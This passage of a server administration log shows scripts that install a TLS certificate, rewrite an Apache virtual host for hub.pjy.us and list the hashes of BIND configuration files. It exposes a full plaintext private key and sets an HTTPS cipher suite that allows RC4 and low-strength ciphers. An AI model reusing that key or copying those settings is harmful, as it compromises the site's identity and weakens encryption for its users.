MAsGA1UdDwQEAwIFoDAJBgNVHRMEAjAAMBUGA1UdEQQOMAyCCmh1Yi5wankudXMw
DQYJKoZIhvcNAQELBQADggEBAD02qPzrbBLBu6DwpSHPE6HxObZFQ/m9VqCMeSHv
PqIt78iiYYGxYncN40q16WPfy7oOuAAVm7Rx7scT+Wc8Tny2JTMYx4ZF4+x2MaER
SB3HSbuzKz3hRq5x54oM+KWyMaQpUL9vAZ5r+9DVOdTi2E3usx6N60nqWk3DSC4c
q3c+QhQdHkUPBJW6y8nUnNzo2PTcrqTN3H4rMwp0GsY1akxbZKf4eM/q+vs4Op5T
gEPl+RIO6W9xBr8NYsPcuwwcnaMkfkT27QV4ZrDHzbUhpgnJSxudUD05VUy8DT4r
bqOSqZ5FgGlWr2lWYS87svFkJ7n69+fwfpNuDnGviHKMFpM=
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDirWaCwnyiXda0
Ql9HutIqMO983fefdcxtIE1no/hF8ozljDARR9Tgu27SC20bbIYMtxGtDEGohooH
F2ihi4AF5l9hDx8o/TKiquyDo3Mj1KB9WvFyhX+uItCkDJOwSE8EB7PPAVjWgsqt
jCQeqoXPcvBgtKXZfARJGZaadrmmtgeNZP6dfOx+K+ORuINg7+PSRjfNPdaemGSE
vJzqV75mW6qHDYPJ+JhokREuJfIIHlgbOgJvly/+5aDFYI/tw9MW0bAL3odWrpa5
uEaJU5dRr2hS+sOrQ0AL48WpPUOaxKzSS7UNXa4vvLmEL4XM3jGmICfdIcVrXL6M
hc7M0hphAgMBAAECggEABaPpW2zk5HaBugBWKgkJC2amgWKtq4WfIqqfcXIXEpC+
ErTE4guxvV4tlCd3kXN3QA4OuBHQWQ3gtaumeWFQ9Big+D+Ty7GV7M40apO+wNok
vIzGme4eZMwiCVh0pPHuKSZKyh59PiBw1A3a/No68FQanQnmr+9IBSSAUs9sJ/y2
2xk+JyqKSGTE4N6lJXWOEvj1eDirAHNlfD+M3uxrejavP99MviPbpPoS5+D95L05
/ZskavVg6hSzWP7v/XFSCuOlzBjK9NSHRd6eej7lx9P1EBydgBFf4WlPMzJISNcL
wJ3jYqXfVYimQnjGnFNPA0C1+1hrMWMWlPmaKZQbgQKBgQD6C9PfUGuo2sb5slvW
tKkuuePN1/7XBBrJwTjXMmFr+SYREzRamHH7N0n+PvlPKcq+R+HdgOO1Ya6zKMhj
r3yPRnAdiPI1SzixHiF1F5q4Y6ALzM6cejEAHgbeuYX0kBvHSFZrpIydHWD6gJ00
8wFmrXYyb8hX8QURlWC2pgxW4QKBgQDoEyBga51zbmc9iLi/ygwi92cCiio5/5N/
2OxKpo4N/76+Brh3GjATMsOgXc/FRB95klTMtwrShxnJ/77E4cURJK1jCyw+oz+u
aezIO5Ohr0hAau1Tjj4U2bli2zZoGJWkO1IH4vrgeEd6c27nDRT+pjsUd5p2gDCy
7QUTujuzgQKBgQDMxATU2sHffJH3h5Vn5XiquDYSqvCZ2lWppR9MM4jOaDFBSG3W
RwMIjAV/PMjjiEDsxGb2Awf20LDFLP+1is9BcZh8x1o6RIh/m0Ig5pygpY06PJVy
VSptgylzGZDWb3EgKGAFNLKmM5noaozTALHECQdDVIFHaywQczjJOn/eYQKBgQCz
2aa8somJ3GSL7nnmwAlZy8t7z2FcIzHG4XB1hdAPD0Rd9c1dF+Fr72plzG3pHZsa
1wl6wNvVPbgBsH3CDIlxeLAaUp1OSatfWl2S64DEy5c9vOABYfnApN6juujWET9e
0E4JKKFt9ijGv9CRpLTBiEe+29XLwhp7f23w1OHRgQKBgFH70aBRWiBRgvGVfY12
sfRFUAbM5To3da+j/TnoQsDCe8hFibPS6wVVUIcWEK71/Kj3mQXt8nfOc85AvH+1
VcWWwU/1YjgYsowCjQ8WuBI52ij7z66Vltp7L41or4OoK7JqKLkziHswNo5BWxwj
GzeVFC3BXJ4mNeiUm0ZDJLz3
-----END PRIVATE KEY-----



endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-31 11:31:07: 

chmod 755 /tmp/pkp320317; /tmp/pkp320317; rm /tmp/pkp320317

2026-03-31 11:31:07: 


dir=/etc/ssl/certs


2026-03-31 11:31:07: 

PUT: /tmp/pkp471716

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_hub_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-31 11:31:07: 

chmod 755 /tmp/pkp471716; /tmp/pkp471716; rm /tmp/pkp471716

2026-03-31 11:31:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_hub_us.conf 34

<VirtualHost *:80>
    ServerName	hub.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_hub
    <Directory /var/www/pjy_hub>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/pjy/hub_access.log combined
    ErrorLog	/var/log/apache2/pjy/hub_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2026-03-31 11:31:07: 

PUT: /tmp/pkp732217

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_hub_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_hub_us.conf
DOCROOT=/var/www/pjy_hub
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	hub.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_hub
    <Directory /var/www/pjy_hub>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/hub_access.log combined
    ErrorLog	/var/log/apache2/pjy/hub_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	hub.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/e77f816ba21b8a1d43519b726e5105e3.crt
    DocumentRoot	/var/www/pjy_hub
    <Directory /var/www/pjy_hub>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/pjy/hub_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/hub_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/pjy
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_hub_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_hub_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_hub_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_hub_us.conf= 1'
fi


2026-03-31 11:31:07: 

chmod 755 /tmp/pkp732217; /tmp/pkp732217; rm /tmp/pkp732217

2026-03-31 11:31:07: 


link(/etc/apache2/sites-enabled/pjy_hub_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_hub_us.conf
file(/etc/apache2//etc/apache2/sites-enabled/pjy_hub_us.conf= 1


2026-03-31 11:31:07: 

PUT: /tmp/pkp493785

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-31 11:31:07: 

chmod 755 /tmp/pkp493785; /tmp/pkp493785; rm /tmp/pkp493785

2026-03-31 11:31:07: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-31 11:31:08: Establishing a connection
2026-03-31 11:31:08: 

PUT: /tmp/pkp872506

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-31 11:31:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp872506; rm /tmp/pkp872506'

2026-03-31 11:31:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-31 11:31:18: Establishing a connection
2026-03-31 11:31:18: 

PUT: /tmp/pkp779427

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
